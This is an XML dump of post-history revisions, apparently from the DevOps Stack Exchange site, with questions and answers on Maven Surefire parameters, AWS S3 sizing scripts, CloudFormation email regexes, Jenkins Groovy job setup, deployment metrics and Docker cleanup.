  <row Id="9070" PostHistoryTypeId="2" PostId="2913" RevisionGUID="878ce6c4-5871-499f-97ec-066e1880a488" CreationDate="2017-12-16T05:50:39.457" UserId="5605" Text="I got the answer on StackOverflow :&#xD;&#xA;&#xD;&#xA;You can pass the xml file name as parameter to the maven test command. First need to change the pom file as follows.&#xD;&#xA;&#xD;&#xA;    &lt;plugin&gt;&#xD;&#xA;        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;&#xD;&#xA;        &lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt;&#xD;&#xA;        &lt;version&gt;2.19.1&lt;/version&gt;&#xD;&#xA;            &lt;configuration&gt;&#xD;&#xA;                &lt;suiteXmlFiles&gt;&#xD;&#xA;                    &lt;suiteXmlFile&gt;${SuiteXmlFile}&lt;/suiteXmlFile&gt;&#xD;&#xA;                &lt;/suiteXmlFiles&gt;&#xD;&#xA;            &lt;/configuration&gt;&#xD;&#xA;    &lt;/plugin&gt;&#xD;&#xA;&#xD;&#xA;Then, you pass the different file name for each execution in goals and options like :&#xD;&#xA;&#xD;&#xA;    test -DSuiteXmlFile=mytestng1.xml&#xD;&#xA;&#xD;&#xA;For second xml file :&#xD;&#xA;&#xD;&#xA;    test -DSuiteXmlFile=mytestng1.xml&#xD;&#xA;&#xD;&#xA;You can configure each Jenkins job with different parameter.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9071" PostHistoryTypeId="5" PostId="2894" RevisionGUID="aa43c39d-0b30-4b42-a6b9-92f1d690ebd8" CreationDate="2017-12-16T09:07:57.003" UserId="887" Comment="added 1 character in body" Text="**DevOps these days...**&#xD;&#xA;&#xD;&#xA;&gt; DevOps is known/meant to be more of a **culture** than a job title,&#xD;&#xA;&gt; but we also cannot ignore the fact that a vast amount companies all&#xD;&#xA;&gt; across the world have &quot;DevOps engineers&quot; employed.&#xD;&#xA;&#xD;&#xA;**What Wikipedia says**:&#xD;&#xA;&#xD;&#xA;&gt;  &quot;The main characteristic of the DevOps movement is to strongly advocate automation and monitoring at all steps of software construction, from integration, testing, releasing to deployment and infrastructure management. DevOps aims at shorter development cycles, increased deployment frequency, more dependable releases, in close alignment with business objectives.&quot;&#xD;&#xA;&#xD;&#xA;**Answer ***(my perspective )*: &#xD;&#xA;&#xD;&#xA;As a DevOps engineer myself(*opens a can of worms*), I realize that I am more of a **support role** to development teams.&#xD;&#xA;&#xD;&#xA; - Aiming to facilitate and create useful systems/tools that I as well as the&#xD;&#xA;   developers can easily manage and use. &#xD;&#xA;   &#xD;&#xA; - Automate any manual work being done and creating streamlined CICD&#xD;&#xA;   pipelines ensuring the developer's code gets tested and then deployed to production with ease.&#xD;&#xA; - Ops and Monitoring to notify us and the developers of any issues so they can be resolved ASAP.&#xD;&#xA;&#xD;&#xA;Making all of the &quot;DevOps&quot; responsibilities easy to &quot;share&quot; and deal with from all the technical and sometimes even non-technical teams or individuals of a company.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="9072" PostHistoryTypeId="5" PostId="722" RevisionGUID="f8b0be3f-cb8c-4856-ac9a-dbfc395b9d71" CreationDate="2017-12-16T09:09:51.280" UserId="887" Comment="added 4 characters in body" Text="You can install 'Bitbucket Server Webhook to Jenkins' in Bitbucket. &#xD;&#xA;https://marketplace.atlassian.com/plugins/com.nerdwin15.stash-stash-webhook-jenkins/server/overview&#xD;&#xA;&#xD;&#xA;Once install you will need to enable the 'Post Receive' Hook on the required repository.&#xD;&#xA;&#xD;&#xA;Remember to enable '**poll SCM**' for the Jenkins Job.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;You can test the configuration of the plugin here:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/E4lYe.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9073" PostHistoryTypeId="5" PostId="903" RevisionGUID="a8e71a3e-9b6a-4f41-95dc-bb811597165d" CreationDate="2017-12-16T09:10:44.713" UserId="887" Comment="added 4 characters in body" Text="The Amazon Cognito streams feature can be used to backup data.&#xD;&#xA;&#xD;&#xA;Currently, Amazon does not provide a solution to backup their Cognito user Pools. You can use the following NPM package called &quot;**cognito-backup**&quot;:&#xD;&#xA;&#xD;&#xA;Install:&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;    npm install -g cognito-backup&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Usage&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;    cognito-backup backup-users &lt;user-pool-id&gt; &lt;options&gt;  Backup all users in a single user pool&#xD;&#xA;    cognito-backup backup-all-users &lt;options&gt;  Backup all users in all user pools for this account&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Examples&#xD;&#xA;-----&#xD;&#xA;    cognito-backup backup-users eu-west-1_1_12345&#xD;&#xA;    cognito-backup backup-users eu-west-1_1_12345 --region eu-west-1 --file mypool.json&#xD;&#xA;    cognito-backup backup-all-users eu-west-1_1_12345 --region eu-west-1 --dir output&#xD;&#xA;&#xD;&#xA;Source: https://www.npmjs.com/package/cognito-backup&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9074" PostHistoryTypeId="5" PostId="2241" RevisionGUID="05dfc165-2c73-4d6a-bf62-40f48e1829e9" CreationDate="2017-12-16T09:11:35.670" UserId="887" Comment="added 3 characters in body" Text="I have multiple **AWS** accounts and I need to list all **S3** buckets per account and then view each buckets total size. &#xD;&#xA;&#xD;&#xA;Currently, I can only view the storage size of a single **S3** bucket with:&#xD;&#xA;&#xD;&#xA;    aws s3 ls s3://mybucket --recursive --human-readable --summarize&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9075" PostHistoryTypeId="5" PostId="2245" RevisionGUID="3dcbf580-7a0f-4d92-871b-e68c0d3b62ff" CreationDate="2017-12-16T09:11:57.543" UserId="887" Comment="added 2 characters in body" Text="**Resolution 1**&#xD;&#xA;&#xD;&#xA;So I solved this with the following script. I originally posted the question just in case there was an easier way that I was not aware of.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    aws_profile=('profile1' 'profile2' 'profile3');&#xD;&#xA;    &#xD;&#xA;    #loop AWS profiles&#xD;&#xA;    for i in &quot;${aws_profile[@]}&quot;; do&#xD;&#xA;      echo &quot;${i}&quot;&#xD;&#xA;      buckets=($(aws --profile &quot;${i}&quot; --region your_region s3 ls s3:// --recursive | awk '{print $3}'))&#xD;&#xA;    &#xD;&#xA;      #loop S3 buckets&#xD;&#xA;      for j in &quot;${buckets[@]}&quot;; do&#xD;&#xA;      echo &quot;${j}&quot;&#xD;&#xA;      aws --profile &quot;${i}&quot; --region your_region s3 ls s3://&quot;${j}&quot; --recursive --human-readable --summarize | awk END'{print}'&#xD;&#xA;      done&#xD;&#xA;    &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Resolution 2**&#xD;&#xA;&#xD;&#xA;Using **Dashboards** in **CloudWatch** in the AWS console.&#xD;&#xA;&#xD;&#xA;You can then simply specify all S3 buckets and add the numbers stats to show the storage size metrics.&#xD;&#xA;&#xD;&#xA;This won't cost you plenty of API calls and can be significantly faster depending on the size of the s3 buckets(takes quite awhile to get the size on very large buckets). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Verdict**&#xD;&#xA;&#xD;&#xA;Creating the Dashboard (**Resolution 2**) on each AWS account was the most efficient option **for me** cause it is way quicker for me to log in and grab the metrics manually from each AWS account than to wait for the scripts API calls to finish. :( " ContentLicense="CC BY-SA 3.0" />
  <row Id="9076" PostHistoryTypeId="5" PostId="2275" RevisionGUID="15c02f49-05b2-48cb-8bb9-81e3ab6b2883" CreationDate="2017-12-16T09:14:48.500" UserId="887" Comment="added 4 characters in body" Text="I would like to know how everyone is making external backups of **S3** buckets and best practices/recommendations for this. Regardless of how good **AWS** is it is still a single point of failure.&#xD;&#xA;&#xD;&#xA;    Especially on a more corporate scale, vast amounts of buckets that are very large.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be very limited.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**My resolution was the following**:&#xD;&#xA;&gt; The way I'm looking at doing this now is by downloading the data to an external server (**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9077" PostHistoryTypeId="5" PostId="2888" RevisionGUID="d6cadde8-605a-44c5-80a1-9973dad27f20" CreationDate="2017-12-16T09:19:44.020" UserId="887" Comment="[Edit removed during grace period]" Text="**Background:**&#xD;&#xA;Besides for providing support to our current infrastructure and to our Developers, we do monthly planning as a DevOps team for what we want to accomplish on top of helping dev teams within sprints and new projects that are launched. However, during the month we often notice extra things that need to be done and improved, which we then add to our backlog. We also are responsible and assist with various other things that fall beyond our scope, but we assist the business were we can :)&#xD;&#xA;&#xD;&#xA;**Answer**: &#xD;&#xA;As soon as you notice you are not getting round to or postponing lots of tasks especially maintenance, I think that is a good indicator(from what I have experienced). Also, the more new projects and dev teams that come in the thinner the DevOps team gets spread, the more people you will need.&#xD;&#xA;&#xD;&#xA;Its super easy just to get caught up in the day to day completing tasks, but I believe its super important (even once a month) to take a step back and assess this." ContentLicense="CC BY-SA 3.0" />
  <row Id="9078" PostHistoryTypeId="5" PostId="2241" RevisionGUID="597af839-c771-4f6e-9b34-6456f3f83023" CreationDate="2017-12-16T09:20:24.280" UserId="887" Comment="[Edit removed during grace period]" Text="I have multiple **AWS** accounts and I need to list all **S3** buckets per account and then view each buckets total size. &#xD;&#xA;&#xD;&#xA;Currently, I can only view the storage size of a single **S3** bucket with:&#xD;&#xA;&#xD;&#xA;    aws s3 ls s3://mybucket --recursive --human-readable --summarize&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9079" PostHistoryTypeId="5" PostId="2241" RevisionGUID="08acf7f7-dd47-4b8c-82c8-025d9e571ad2" CreationDate="2017-12-16T09:22:19.203" UserId="887" Comment="[Edit removed during grace period]" Text="I have multiple **AWS** accounts and I need to list all **S3** buckets per account and then view each buckets total size. &#xD;&#xA;&#xD;&#xA;Currently, I can only view the storage size of a single **S3** bucket with:&#xD;&#xA;&#xD;&#xA;    aws s3 ls s3://mybucket --recursive --human-readable --summarize&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9080" PostHistoryTypeId="2" PostId="2914" RevisionGUID="4e91d86c-433e-4d68-b7fc-bf52122fa973" CreationDate="2017-12-16T10:18:17.553" UserId="4637" Text="I am struggling with specifying a regular expression for email parameter of Cloudformation :&#xD;&#xA;&#xD;&#xA;    Parameters:&#xD;&#xA;      MyEmail :&#xD;&#xA;        Type: String&#xD;&#xA;        Description: Email for notifications&#xD;&#xA;        AllowedPattern: /[^\s@]+@[^\s@]+\.[^\s@]+/&#xD;&#xA;        ConstraintDescription: You should enter a valid email&#xD;&#xA;&#xD;&#xA;As you see, I tried `/[^\s@]+@[^\s@]+\.[^\s@]+/` and it won't work. &#xD;&#xA;&#xD;&#xA;What is the regular expression for emails in Cloudformation template ? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[tag:aws] [tag:regex] [tag:aws-cloudformation]" ContentLicense="CC BY-SA 3.0" />
  <row Id="9081" PostHistoryTypeId="1" PostId="2914" RevisionGUID="4e91d86c-433e-4d68-b7fc-bf52122fa973" CreationDate="2017-12-16T10:18:17.553" UserId="4637" Text="AllowedPattern for emails in Cloudformation template" ContentLicense="CC BY-SA 3.0" />
  <row Id="9082" PostHistoryTypeId="3" PostId="2914" RevisionGUID="4e91d86c-433e-4d68-b7fc-bf52122fa973" CreationDate="2017-12-16T10:18:17.553" UserId="4637" Text="&lt;amazon-web-services&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9083" PostHistoryTypeId="50" PostId="1561" RevisionGUID="ae0d265e-ba0b-472a-9aab-381310166d18" CreationDate="2017-12-16T13:41:31.987" UserId="-1" />
  <row Id="9084" PostHistoryTypeId="50" PostId="2341" RevisionGUID="faac93da-f519-40fe-a728-ec7d4019124c" CreationDate="2017-12-16T16:41:39.420" UserId="-1" />
  <row Id="9089" PostHistoryTypeId="2" PostId="2916" RevisionGUID="f23f5548-dece-4999-98f7-40b0aa6ac769" CreationDate="2017-12-17T14:54:45.900" UserId="2805" Text="&gt;**Important**&#xD;&#xA;&#xD;&#xA;&gt;Since AWS CloudFormation templates use the JSON syntax for specifying objects and data, you will need to add an additional backslash to any backslash characters in your regular expression, or JSON will interpret these as escape characters.&#xD;&#xA;&#xD;&#xA;&gt;For example, if you include a \d in your regular expression to match a digit character, you will need to write it as \\d in your JSON template.&#xD;&#xA;&#xD;&#xA;http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-regexes.html&#xD;&#xA;&#xD;&#xA;The very same applies to your `\s` expressions. Use `\\s` and it works. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9090" PostHistoryTypeId="5" PostId="2916" RevisionGUID="fc7178ca-9611-4844-8c9b-dbc07d5ba0a8" CreationDate="2017-12-17T18:01:50.950" UserId="2805" Comment="added 4 characters in body" Text="&gt;**Important**&#xD;&#xA;&#xD;&#xA;&gt;Since AWS CloudFormation templates use the JSON syntax for specifying objects and data, you will need to add an additional backslash to any backslash characters in your regular expression, or JSON will interpret these as escape characters.&#xD;&#xA;&#xD;&#xA;&gt;For example, if you include a `\d` in your regular expression to match a digit character, you will need to write it as `\\d` in your JSON template.&#xD;&#xA;&#xD;&#xA;http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-regexes.html&#xD;&#xA;&#xD;&#xA;The very same applies to your `\s` expressions. Use `\\s` and it works. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9092" PostHistoryTypeId="50" PostId="2004" RevisionGUID="2e5aefb0-7080-46f9-aec3-1959f592492e" CreationDate="2017-12-17T23:51:21.100" UserId="-1" />
  <row Id="9093" PostHistoryTypeId="36" PostId="2917" RevisionGUID="0baedcde-518a-4930-9930-36e0ab1273d8" CreationDate="2017-12-18T02:21:29.200" UserId="-1" Comment="from https://sqa.stackexchange.com/questions/31098/how-to-set-a-git-repo-when-creating-a-job-in-jenkins-from-groovy-script" />
  <row Id="9094" PostHistoryTypeId="2" PostId="2917" RevisionGUID="59713dad-e16a-4f36-9553-ce9517446c7e" CreationDate="2017-12-17T13:39:52.577" UserId="5776" UserDisplayName="Alter_so" Text="I'm trying to setup a jenkins server with groovy script:&#xD;&#xA;&#xD;&#xA;    def repository = 'git@somerepo'&#xD;&#xA;    import hudson.tasks.Shell;&#xD;&#xA;    &#xD;&#xA;    job = Jenkins.instance.createProject(FreeStyleProject, 'TestJob')&#xD;&#xA;    job.setDescription(&quot;Some description&quot;)&#xD;&#xA;    job.displayName = 'SomeTestJob(TESTING groovy)'&#xD;&#xA;    &#xD;&#xA;    job.scm = new hudson.plugins.git.GitSCM(repository)&#xD;&#xA;    job.save()&#xD;&#xA;Now i need to set a repo branch - how do i do this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9095" PostHistoryTypeId="1" PostId="2917" RevisionGUID="59713dad-e16a-4f36-9553-ce9517446c7e" CreationDate="2017-12-17T13:39:52.577" UserId="5776" UserDisplayName="Alter_so" Text="How to set a git repo when creating a job in jenkins from groovy script?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9096" PostHistoryTypeId="3" PostId="2917" RevisionGUID="59713dad-e16a-4f36-9553-ce9517446c7e" CreationDate="2017-12-17T13:39:52.577" UserId="5776" UserDisplayName="Alter_so" Text="&lt;jenkins&gt;&lt;git&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9099" PostHistoryTypeId="5" PostId="2916" RevisionGUID="9c4c43e3-9c46-4b57-8f0e-0dbe4931491c" CreationDate="2017-12-18T07:24:49.830" UserId="2805" Comment="added 241 characters in body" Text="&gt;**Important**&#xD;&#xA;&#xD;&#xA;&gt;Since AWS CloudFormation templates use the JSON syntax for specifying objects and data, you will need to add an additional backslash to any backslash characters in your regular expression, or JSON will interpret these as escape characters.&#xD;&#xA;&#xD;&#xA;&gt;For example, if you include a `\d` in your regular expression to match a digit character, you will need to write it as `\\d` in your JSON template.&#xD;&#xA;&#xD;&#xA;http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-regexes.html&#xD;&#xA;&#xD;&#xA;The very same applies to your `\s` expressions. Use `\\s` and it works.&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Looking back the question I started to wonder the missing quotation marks on your definition. I found out the expessions are yaml format that is the second way to define things in aws. &#xD;&#xA;&#xD;&#xA;If you should follow the yaml syntax, the right way to give string values is like this:&#xD;&#xA;&#xD;&#xA;    AllowedPattern = '/[^\s@]+@[^\s@]+\.[^\s@]+/'&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/blogs/aws/aws-cloudformation-update-yaml-cross-stack-references-simplified-substitution/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9100" PostHistoryTypeId="4" PostId="2917" RevisionGUID="d44739e5-6a59-4a9a-ae72-41a27afea879" CreationDate="2017-12-18T10:16:48.363" UserId="-1" Comment="formatting" Text="How to set a git repository when creating a job in Jenkins from groovy script?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9101" PostHistoryTypeId="6" PostId="2917" RevisionGUID="d44739e5-6a59-4a9a-ae72-41a27afea879" CreationDate="2017-12-18T10:16:48.363" UserId="-1" Comment="formatting" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;git&gt;&lt;release-management&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9102" PostHistoryTypeId="24" PostId="2917" RevisionGUID="d44739e5-6a59-4a9a-ae72-41a27afea879" CreationDate="2017-12-18T10:16:48.363" Comment="Proposed by 115.112.65.146|ca2c777c-7efe-4578-80b3-ab7b7214bbcc approved by -1 edit id of 570" ContentLicense="CC BY-SA 3.0" />
  <row Id="9103" PostHistoryTypeId="5" PostId="2917" RevisionGUID="ce75f810-f694-4683-b703-ec587bc2f99f" CreationDate="2017-12-18T10:16:48.363" UserId="40" Comment="fix caps" Text="I'm trying to setup a Jenkins server with Groovy script:&#xD;&#xA;&#xD;&#xA;    def repository = 'git@somerepo'&#xD;&#xA;    import hudson.tasks.Shell;&#xD;&#xA;    &#xD;&#xA;    job = Jenkins.instance.createProject(FreeStyleProject, 'TestJob')&#xD;&#xA;    job.setDescription(&quot;Some description&quot;)&#xD;&#xA;    job.displayName = 'SomeTestJob(TESTING groovy)'&#xD;&#xA;    &#xD;&#xA;    job.scm = new hudson.plugins.git.GitSCM(repository)&#xD;&#xA;    job.save()&#xD;&#xA;&#xD;&#xA;Now I need to set a repo branch - How do I do this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9104" PostHistoryTypeId="4" PostId="2917" RevisionGUID="ce75f810-f694-4683-b703-ec587bc2f99f" CreationDate="2017-12-18T10:16:48.363" UserId="40" Comment="fix caps" Text="How to set a Git repository when creating a job in Jenkins from a Groovy script?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9107" PostHistoryTypeId="50" PostId="2352" RevisionGUID="33ae8503-77e1-42c4-9423-78b3f2fd9e89" CreationDate="2017-12-18T17:03:54.547" UserId="-1" />
  <row Id="9108" PostHistoryTypeId="2" PostId="2918" RevisionGUID="94b5eefa-0848-46c0-ae74-e702f8632bbd" CreationDate="2017-12-18T17:18:34.503" UserId="5770" Text="TL;DR, how do you _prove_ devops, specifically deployment automation, improves change failure rates?&#xD;&#xA;&#xD;&#xA;We're all trying to capture metrics on 'deployment failures' using *current* (mostly manual) means. Unfortunately, a 'failure' rarely happens, right? Because when something goes wrong, the team comes together (typically with heroics) to fix the issue (typically permissions, missed configs, you know the drill). So... when we ask how the deployment went, the answer is &quot;it worked.&quot;&#xD;&#xA;&#xD;&#xA;But, intuitively we all know that's not good. The 2017 state of devops report says there's about a 31-45% &quot;*change failure rate.*&quot; While that intuitively sounds about right, are they tracked as incidents? Nah. Because they get fixed pretty quickly, usually during validation. It's much more rare to actually roll back a deployment.&#xD;&#xA;&#xD;&#xA;So, it takes discipline to report failure rates accurately. We're disincentivized to report like that because we want things to work and we do what it takes to make it happen.&#xD;&#xA;&#xD;&#xA;**So, how do you prove devops, specifically deployment automation, improves change failure rates?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(PS tried to tag this with &quot;#devops-capability-model&quot;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="9109" PostHistoryTypeId="1" PostId="2918" RevisionGUID="94b5eefa-0848-46c0-ae74-e702f8632bbd" CreationDate="2017-12-18T17:18:34.503" UserId="5770" Text="pre-DevOps deployment metrics challenge" ContentLicense="CC BY-SA 3.0" />
  <row Id="9110" PostHistoryTypeId="3" PostId="2918" RevisionGUID="94b5eefa-0848-46c0-ae74-e702f8632bbd" CreationDate="2017-12-18T17:18:34.503" UserId="5770" Text="&lt;metrics&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9111" PostHistoryTypeId="5" PostId="2916" RevisionGUID="8efed40f-3186-42d8-9f7a-0a6dc6e23fab" CreationDate="2017-12-18T17:30:15.197" UserId="2805" Comment="added 220 characters in body" Text="&gt;**Important**&#xD;&#xA;&#xD;&#xA;&gt;Since AWS CloudFormation templates use the JSON syntax for specifying objects and data, you will need to add an additional backslash to any backslash characters in your regular expression, or JSON will interpret these as escape characters.&#xD;&#xA;&#xD;&#xA;&gt;For example, if you include a `\d` in your regular expression to match a digit character, you will need to write it as `\\d` in your JSON template.&#xD;&#xA;&#xD;&#xA;http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-regexes.html&#xD;&#xA;&#xD;&#xA;The very same applies to your `\s` expressions. Use `\\s` and it works.&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Looking back the question I started to wonder the missing quotation marks on your definition. I found out the expessions are yaml format that is the second way to define things in aws. &#xD;&#xA;&#xD;&#xA;If you should follow the yaml syntax, the right way to give string values is like this:&#xD;&#xA;&#xD;&#xA;    AllowedPattern = '/[^\s@]+@[^\s@]+\.[^\s@]+/'&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/blogs/aws/aws-cloudformation-update-yaml-cross-stack-references-simplified-substitution/&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&gt;Use quotes if your value includes special characters, (e.g. :, {, }, [, ], ,, &amp;, *, #, ?, |, -, &lt;, &gt;, =, !, %, @, \).&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/19109912/do-i-need-quotes-for-strings-in-yaml&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9112" PostHistoryTypeId="2" PostId="2919" RevisionGUID="cee1109f-960a-41b3-8166-b426350194f4" CreationDate="2017-12-18T19:01:46.167" UserId="40" Text="A technique we've used in the past in similar situations is to get &quot;management commitment&quot; that imposes these rules to every team member:&#xD;&#xA;&#xD;&#xA;1. Access to perform updates to the target deployment areas (i.e. production) is limited to selected automated systems, which have appropriate audit trails (= logging) of any kind of updates to the areas they manage.&#xD;&#xA;&#xD;&#xA;2. Manual updates to the target deployment areas, for whatever reason, are no longer allowed by the typical team members (user ids) that used to be able (authorized) to perform these updates. Instead NEW (additional) user IDs will be created which will have all required permissions to (still) perform such manual updates, whenever needed. But to actually be able to use those new user IDs (= perform a logon with them), the team member who wants to perform a logon with such new user ID will have to perform &quot;some&quot; extra step to get access to the password for such new user Id. Ideally this extra step is automated also (use your own imagination how it should look like), but if anything else fails: just contact (= eMail, call, etc) the gate-keeper of the required password, including  &quot;which issue they have to get fixed&quot; (similar to your question).&#xD;&#xA;3. Getting such gate-keeper in place is not an easy job. And the most resistance will come from ... the team members (for all sorts of reasons). Therefor a variation of those new user IDs (as in the previous step) is that each team member gets an extra user ID (with the password they decide themselves), but with an extra string attached to it: they are only allowed to perform a logon with that (extra) user ID if they actualy have a good reason to do so. And each time they perform such logon, they are required to file some type of report about &quot;which issue they fixed&quot; (similar to your question).&#xD;&#xA;&#xD;&#xA;With these procedures in place, all that's left to do is to periodically review each of those reports / reasons why it was required to use such special user ID, and ask the question &quot;*Is there anything that can be done to further automate this, to further reduce the need for such special login?*&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="9113" PostHistoryTypeId="2" PostId="2920" RevisionGUID="0822dd24-6043-499d-aa39-7d27bb9c0a8f" CreationDate="2017-12-18T19:50:28.007" UserId="960" Text="&gt; The 2017 state of devops report says there's about a 31-45% &quot;change failure rate.&quot; While that intuitively sounds about right, are they tracked as incidents? Nah. Because they get fixed pretty quickly, usually during validation.&#xD;&#xA;&#xD;&#xA;An issue that gets fixed quickly is still an issue.  If you're not reporting these as such, that's a problem.&#xD;&#xA;&#xD;&#xA;&gt; So, it takes discipline to report failure rates accurately. We're disincentivized to report like that because we want things to work and we do what it takes to make it happen.&#xD;&#xA;&#xD;&#xA;If your goal is actually to have things work, then you need to be honest about failures so you can prevent them in the future.  It sounds like the team here is lying (perhaps to themselves, certainly to management) about failures because their goal is to have things *appear* to be working.&#xD;&#xA;&#xD;&#xA;These are different things.  For instance, take the old joke that QA produces bugs - &quot;my code was fine until QA got ahold of it, and then they made all these bugs!&quot;.  The bugs were there all along, but the developer was ignorant of them.  An operations team's goal should be *actual reliability*, and they need to be incentivized as such by their management.  That means that if they put more monitoring in place that leads to discovering new issues, they should be rewarded, not penalized for the subsequent drop in reliability metrics.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&gt; TL;DR, how do you prove devops, specifically deployment automation, improves change failure rates?&#xD;&#xA;&#xD;&#xA;If you're trying to motivate change in your organization, then you shouldn't be trying to prove anything, but provide evidence of what other organizations say about their own transitions.  If you're trying to measure the processes that you already have in place and justify their continued existence, then you should be tracking the standard reliability metrics, like mean time to repair (MTTR).&#xD;&#xA;&#xD;&#xA;But devops principles are not merely about increasing reliability.  Even site reliability engineering is not merely about increasing reliability.  Rather, you want to get to an *appropriate* level of reliability - something that benefits the business but doesn't hinder development.  And that brings up the real motivator in devops, which is to **empower change**.  You want to allow the business to respond quicker to market stimuli, which happens by decreasing developer friction, increasing the rate of deploys, automating manual processes, etc. while staying within an acceptable bound of reliability.  This means you need to measure reliability, but you also need to measure velocity, because your goal is to increase the latter while keeping the former relatively static." ContentLicense="CC BY-SA 3.0" />
  <row Id="9114" PostHistoryTypeId="2" PostId="2921" RevisionGUID="a2396466-b294-446e-a74a-f3a8abd0f0e0" CreationDate="2017-12-18T20:05:44.883" UserId="960" Text="&gt; Open the PR, even if it's not ready. Basically, allow the QA testing &amp; code reviews to operate in parallel. Pros: code review and testing can operate in parallel. Cons: if issues are found in testing, the code needs to change, even though it has already been reviewed.&#xD;&#xA;&#xD;&#xA;When code review prompts changes, testing has to be redone.  This encourages the building of automated tests over manual tests, as then this can happen automatically without any human involvement.&#xD;&#xA;&#xD;&#xA;When testing prompts changes, code review has to be redone.  Code review is ideally primarily about a 10,000-foot view of how to approach the problem, but it certainly does cover implementation specifics as well.  But this is a problem mostly solved by review tools - they'll show you the changes *since you last reviewed* so you don't have to review everything all over again.  Some tools handle this well with rebasing, but if you're using one that doesn't, stick to adding new commits as you work, and then squash them all together at the end if that's what you want." ContentLicense="CC BY-SA 3.0" />
  <row Id="9115" PostHistoryTypeId="2" PostId="2922" RevisionGUID="9498bcdb-37ad-4f43-b115-4b1807cb2737" CreationDate="2017-12-18T20:12:12.333" UserId="960" Text="&gt; I would really prefer to not have to also manage a separate Active Directory Domain within our VNets&#xD;&#xA;&#xD;&#xA;You've already found the answer: centralized authentication.&#xD;&#xA;&#xD;&#xA;If you use a tool like [Okta](https://www.okta.com/partners/gsuite/), you can [indirectly tie GSuite to AD](https://support.google.com/a/answer/60224?hl=en) (or an LDAP server).  And then of course you can tie OpenSSH there as well.&#xD;&#xA;&#xD;&#xA;&gt; or deal with revoking ssh keys&#xD;&#xA;&#xD;&#xA;Centralized authentication solves this.&#xD;&#xA;&#xD;&#xA;&gt; or updating multiple usernames/passwords on every single VM we deploy.&#xD;&#xA;&#xD;&#xA;And this as well.&#xD;&#xA;&#xD;&#xA;You've already got the answer, even if you don't like it." ContentLicense="CC BY-SA 3.0" />
  <row Id="9116" PostHistoryTypeId="2" PostId="2923" RevisionGUID="8009e597-aeaa-4845-b349-8421af351799" CreationDate="2017-12-19T09:48:28.483" UserId="5779" Text="```&#xD;&#xA;docker system prune --volumes&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is the way to do this since v17. [Docs here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/system_prune/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9120" PostHistoryTypeId="2" PostId="2925" RevisionGUID="69bb9d71-04d2-451d-8dd0-85e8107ecf09" CreationDate="2017-12-19T11:48:54.163" UserId="3899" Text="After long searching and experiments, the best option for me became qemu monitor. See https://nico.schottelius.org/blog/control-and-shutdown-qemu-kvm-vm-via-unix-socket/ for more details regarding flexible management guest by using qemu monitor." ContentLicense="CC BY-SA 3.0" />
